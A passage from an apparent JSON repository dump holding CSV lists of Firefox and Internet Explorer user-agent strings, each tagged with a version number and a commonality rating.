(iPad; CPU OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) FxiOS/5.3 Mobile/14B100 Safari/602.2.14\",5.3,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0,35,Uncommon\nMozilla/5.0 (Windows NT 6.3; rv:38.0) Gecko/20100101 Firefox/38.0,38,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/1.2 Mobile/13C75 Safari/601.1.46\",1.2,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20,2.0,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux x8664; rv:32.0) Gecko/20100101 Firefox/32.0,32,Uncommon\nMozilla/5.0 (Android 5.1.1; Mobile; rv:52.0) Gecko/52.0 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0.1) Gecko/20100101 Firefox/5.0.1,5,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:29.0) Gecko/20100101 Firefox/29.0,29,Uncommon\nMozilla/5.0 (Windows NT 10.0; rv:39.0) Gecko/20100101 Firefox/39.0,39,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux i686; rv:21.0) Gecko/20100101 Firefox/49.0,49,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/1.4 Mobile/13D15 Safari/601.1.46\",1.4,Uncommon\nMozilla/5.0 (X11; NetBSD amd64; rv:16.0) Gecko/20121102 Firefox/16.0,16,Uncommon\nMozilla/5.0 (X11; Linux i686 on x86_64; rv:16.0) Gecko/20100101 Firefox/16.0,16,Uncommon\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13,3.6,Uncommon\nMozilla/5.0 (Android 5.0; Mobile; rv:48.0) Gecko/48.0 Firefox/48.0,48,Uncommon\nMozilla/5.0 (Windows NT 6.0; rv:9.0.1) Gecko/20100101 Firefox/9.0.1,9,Uncommon\nMozilla/5.0 (Android 7.1.1; Tablet; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Android 4.4.4; Mobile; rv:43.0) Gecko/43.0 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:7.0) Gecko/20100101 Firefox/7.0,7,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20100101 Firefox/14.0,14,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:27.0) Gecko/20100101 Firefox/27.0,27,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0,60,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061011 Fedora/1.5.0.7-7.fc6 Firefox/1.5.0.7,1.5,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5,3,Uncommon\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18,3.6,Uncommon\nMozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0,5,Uncommon\nMozilla/5.0 (Android 6.0.1; Tablet; rv:49.0) Gecko/49.0 Firefox/49.0,49,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12,3.6,Uncommon\nMozilla/5.0 (X11; U; Linux amd64; en-US; rv:5.0) Gecko/20110619 Firefox/5.0,5,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0,32,Uncommon\nMozilla/5.0 (Windows NT 5.2; rv:42.0) Gecko/20100101 Firefox/42.0,42,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0) Servo/1.0 Firefox/37.0,37,Uncommon\nMozilla/5.0 (Mobile; OPENC; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0,35,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0,51,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) FxiOS/5.3 Mobile/14B100 Safari/602.2.14\",5.3,Uncommon\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8,3.6,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/14.0,14,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; rv:15.0) Gecko/20121011 Firefox/15.0.1,15,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:49.0) Gecko/49.0 Firefox/49.0,49,Uncommon\nMozilla/5.0 (X11; FreeBSD amd64; rv:56.0) Gecko/20100101 Firefox/56.0,56,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0.1) Gecko/20100101 Firefox/47.0.1,47,Uncommon\nMozilla/5.0 (Mobile; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\nMozilla/5.0 (Android 6.0.1; Tablet; rv:52.0) Gecko/52.0 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:7.0.1) Gecko/20100101 Firefox/7.0.1,7,Uncommon\nMozilla/5.0 (Windows NT 5.2; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:46.0) Gecko/46.0 Firefox/46.0,46,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Android 4.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0,41,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux armv7l; rv:17.0) Gecko/20100101 Firefox/17.0,17,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1; rv:37.0) Gecko/20100101 Firefox/37.0 Authentic8/1.0,37,Uncommon\nMozilla/5.0 (Android 7.1.2; Mobile; rv:56.0) Gecko/56.0 Firefox/56.0,56,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0,59,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) FxiOS/8.2b5213 Mobile/14G60 Safari/603.3.8\",8,Uncommon\nMozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0,5,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:48.0) Gecko/48.0 Firefox/48.0,48,Uncommon\nMozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8,3.6,Uncommon\nMozilla/5.0 (Mobile; OPENC; rv:45.0) Gecko/45.0 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0,15,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0,20,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:53.0) Gecko/53.0 Firefox/53.0,53,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) FxiOS/6.0 Mobile/14C92 Safari/602.3.12\",6,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/41.0.7,41,Uncommon\nMozilla/3.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0,16,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0,35,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/23.0,23,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:45.0) Gecko/20100101 Firefox/45.0,45,Uncommon\nMozilla/5.0 (Android 8.1.0; Mobile; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 GoogleToolbarFF 7.1.20110512 GoogleToolbarFF 7.1.20110512 GoogleToolbarFF 7.1.20110512 GoogleToolbarFF 7.1.20110512,25,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) FxiOS/5.3 Mobile/14C92 Safari/602.3.12\",5.3,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/1.1 Mobile/13B143 Safari/601.1.46\",1.1,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/52.0.2,52,Uncommon\nMozilla/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Uncommon\nMozilla/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4,10,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:17.0) Gecko/17.0 Firefox/17.0,17,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0,12,Uncommon\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:35.0) Gecko/20100101 Firefox/35.0,35,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20101005 Fedora/3.6.10-1.fc14 Firefox/3.6.10,3.6,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:10.0.2) Gecko/20100101 Firefox/10.0.2,10,Uncommon\nMozilla/5.0 (Android; Mobile; rv:37.0) Gecko/37.0 Firefox/37.0,37,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0,11,Uncommon\nMozilla/5.0 (Android 6.0.1; Tablet; rv:56.0) Gecko/56.0 Firefox/56.0,56,Uncommon\nMozilla/5.0 (X11; FreeBSD amd64; rv:42.0) Gecko/20100101 Firefox/42.0,42,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:5.0.1) Gecko/20100101 Firefox/5.0.1,5,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:54.0) Gecko/20100101 Firefox/54.0,54,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0,38,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2,6,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3,3.6,Uncommon\nMozilla/5.0 (Windows NT 6.2; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0,54,Uncommon\nMozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.6) Gecko/20100205 Ordissimo/0.1 (like Firefox/3.5),3.5,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 GTB5,3.5,Uncommon\nMozilla/5.0 (Stop!Hacker!; rv:24.0) Gecko/20130524 Firefox/24.0,24,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1,13,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre,4,Uncommon\nMozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10,3.6,Uncommon\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1,3,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/5.3 Mobile/13G36 Safari/601.1.46\",5.3,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:14.0) Gecko/20100101 Firefox/14.0.1,14,Uncommon\nMozilla/5.0 (X11; FreeBSD amd64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Windows NT 5.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0,40,Uncommon\nMozilla/5.0 (Windows NT 10.0; rv:38.0) Gecko/20100101 Firefox/38.0,38,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/59.0,59,Uncommon\nMozilla/5.0 (X11; OpenBSD amd64; rv:58.0) Gecko/20100101 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Android; Mobile; rv:47.0) Gecko/47.0 Firefox/47.0,47,Uncommon\nMozilla/3.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6,3.5,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0,60,Uncommon\nMozilla/5.0 (Mobile; LYF/F41T/LYF-F41T-000-01-17-310118; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:30.0) Gecko/20100101 Firefox/30.0 ZemanaAID/FFFF009F,30,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:52.0) Gecko/20100101 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:12.0) Gecko/20100101 Firefox/12.0,12,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120623 Firefox/16.0.1,16,Uncommon\nMozilla/5.0 (X11; RemixOS; CrOS x86_64; rv:50.0) Gecko/20100101 Firefox/50.0,50,Uncommon\nMozilla/5.0 (Windows NT 6.0; rv:36.0) Gecko/20100101 Firefox/36.0,36,Uncommon\nMozilla/5.0 (Android 5.0.2; Mobile; rv:43.0) Gecko/43.0 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0,41,Uncommon\nMozilla/5.0 (Windows NT 6.0; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0,34,Uncommon\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0.1) Gecko/20100101 Firefox/51.0.1,51,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:50.0) Gecko/50.0 Firefox/50.0,50,Uncommon\nMozilla/5.0 (Android 5.1.1; Mobile; rv:53.0) Gecko/53.0 Firefox/53.0,53,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:33.0) Gecko/20100101 Firefox/33.0,33,Uncommon\nMozilla/5.0 (Android; Mobile; rv:42.0) Gecko/42.0 Firefox/42.0,42,Uncommon\n\"Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) FxiOS/8.3b5826 Mobile/13G36 Safari/601.1.46\",8,Uncommon\nMozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0,13,Uncommon\nMozilla/5.0 (X11; Fedora; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0,37,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0,6,Uncommon\nMozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0,24,Uncommon\nMozilla/5.0 (X11: Ubuntu; Linux x86_64; rv:16.0; Rover) Gecko/20100101 Firefox/16.0,16,Uncommon\nMozilla/5.0 (X11; Linux i686; rv:33.0) Gecko/20100101 Firefox/33.0,33,Uncommon\nMozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 3.5.30729),3.6,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:7.0) Gecko/20110814 Firefox/7.0,7,Uncommon\nMozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/50.0,50,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Android 5.0.1; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0,33,Uncommon\nMozilla/5.0 (Windows NT 5.2; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Mobile; LYF/F41T/LYF-F41T-000-01-15-221217; Android; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.0,48,Uncommon\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_2 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) FxiOS/10.3b7934 Mobile/15B202 Safari/604.3.5\",10,Uncommon\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 Cyberfox/49.0,49,Uncommon\nMozilla/5.0 (Android 4.2.2; Tablet; rv:54.0) Gecko/54.0 Firefox/54.0,54,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:53.0) Gecko/53.0 Firefox/53.0,53,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0,16,Uncommon\nMozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0,30,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 FBSMTWB,3.6,Uncommon\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/48.0,48,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:59.0) Gecko/20100101 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Android 5.1.1; Mobile; rv:58.0) Gecko/58.0 Firefox/58.0,58,Uncommon\nMozilla/5.0 (Android 6.0; Mobile; rv:59.0) Gecko/59.0 Firefox/59.0,59,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:43.0) Gecko/43.0 Firefox/43.0,43,Uncommon\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3,3.6,Uncommon\nMozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:6.0.2) Gecko/20100101 Firefox/6.0.2,6,Uncommon\nMozilla/5.0 (Ubuntu; X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1,9,Uncommon\nMozilla/5.0 (Android 5.1; Mobile; rv:57.0) Gecko/57.0 Firefox/57.0,57,Uncommon\nMozilla/5.0 (Android 5.1.1; Tablet; rv:52.0) Gecko/52.0 Firefox/52.0,52,Uncommon\nMozilla/5.0 (Android 7.0; Tablet; rv:55.0) Gecko/55.0 Firefox/55.0,55,Uncommon\nMozilla/5.0 (Ubuntu; X11; Linux x86_64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1,9,Uncommon\nMozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox),3.6,Uncommon\nMozilla/5.0 (Windows NT 6.2; rv:56.0) Gecko/20100101 Firefox/56.0,56,Uncommon\nMozilla/5.0 (Android 4.4.2; Tablet; rv:44.0) Gecko/44.0 Firefox/44.0,44,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7,1.0,Uncommon\nMozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.4410) Gecko/20110902 Firefox/3.6,3.6,Uncommon\nMozilla/5.0 (Android; Tablet; rv:51.0) Gecko/51.0 Firefox/51.0,51,Uncommon\nMozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0 Cyberfox/50.1.0,50,Uncommon\n"
  },
  {
    "path": "User Agents/csv/internet-explorer.csv",
    "content": "ua,version,commonality\nMozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1),9,Very common\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Very common\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko,11,Very common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0),9,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Very common\nMozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Very common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Very common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0),9,Very common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0),9,Very common\nMozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko,11,Very common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0),10,Very common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0),10,Very common\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko,11,Very common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0),10,Very common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Very common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0),8,Very common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko,11,Very common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),8,Very common\nMozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko,11,Very common\nMozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko,11,Very common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0),9,Very common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),11,Common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0),9,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MDDSJS; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),9,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729),8,Common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/7.0),11,Common\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1),6,Common\nMozilla/5.0 (Windows NT 6.3; ARM; Trident/7.0; Touch; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox),9,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729),8,Common\nMozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0),10,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),8,Common\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/7.0),11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2),10,Common\nMozilla/5.0 (Windows NT 6.0; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0),8,Common\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (Windows NT 5.1; WOW64; Trident/7.0; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1),6,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0),7,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Common\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0),10,Common\nMozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),8,Common\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko,11,Common\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/7.0),11,Common\nMozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko,11,Common\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 